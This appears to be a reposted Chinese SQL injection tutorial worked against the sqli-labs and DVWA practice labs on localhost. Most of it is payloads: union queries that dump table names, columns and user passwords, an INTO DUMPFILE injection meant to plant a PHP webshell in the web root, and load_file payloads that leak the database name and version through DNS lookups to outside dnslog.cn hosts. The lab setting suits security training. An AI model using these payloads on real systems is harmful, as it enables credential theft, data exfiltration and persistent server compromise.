SQL注入篇——一句话木马
sql注入基本语句:
order by 4
判断有多少列union select 1,2,3
判断数据显示点union select 1,user(),database()
显示出登录用户和数据库名union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security' ),3
查看数据库有哪些表union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name='users' ),3
查看对应表有哪些列union select 1,(select group_concat(concat_ws(0x7e,username,password))from users),3
查看账号密码信息
一、利用sql注入上传一句话木马
1.先判断显示位

2.再判断路径

注入语句:
http://localhost/sqli-labs-master/Less-2/?id=2 union select 1,1,"" into dumpfile "C:\\phpStudy\\PHPTutorial\\WWW\\muma.php" --

成功

验证

二、sqli-labs利用dns回显数据
返回数据库名的注入语句:
http://localhost/sqli-labs-master/Less-2/?id=1 and load_file(concat("\\\\",(version()),".2bmmih.dnslog.cn\\1.txt"))


三、DVWA利用dns回显数据——low级别
返回数据库名的注入语句:
1' and load_file(concat("\\\\",(database()),".2bmmih.dnslog.cn\\1.txt")) -- -


三、DVWA利用dns回显数据——medium级别
使用Burp Suite抓包

四、DVWA利用dns回显数据——HIgh级别
返回数据库版本的注入语句:
1' and load_file(concat("\\\\",(version()),".3e6rl5.dnslog.cn\\1.txt")) -- -

成功

本文来自互联网用户投稿,文章观点仅代表作者本人,不代表本站立场,不承担相关法律责任。如若转载,请注明出处。 如若内容造成侵权/违法违规/事实不符,请点击【内容举报】进行投诉反馈!
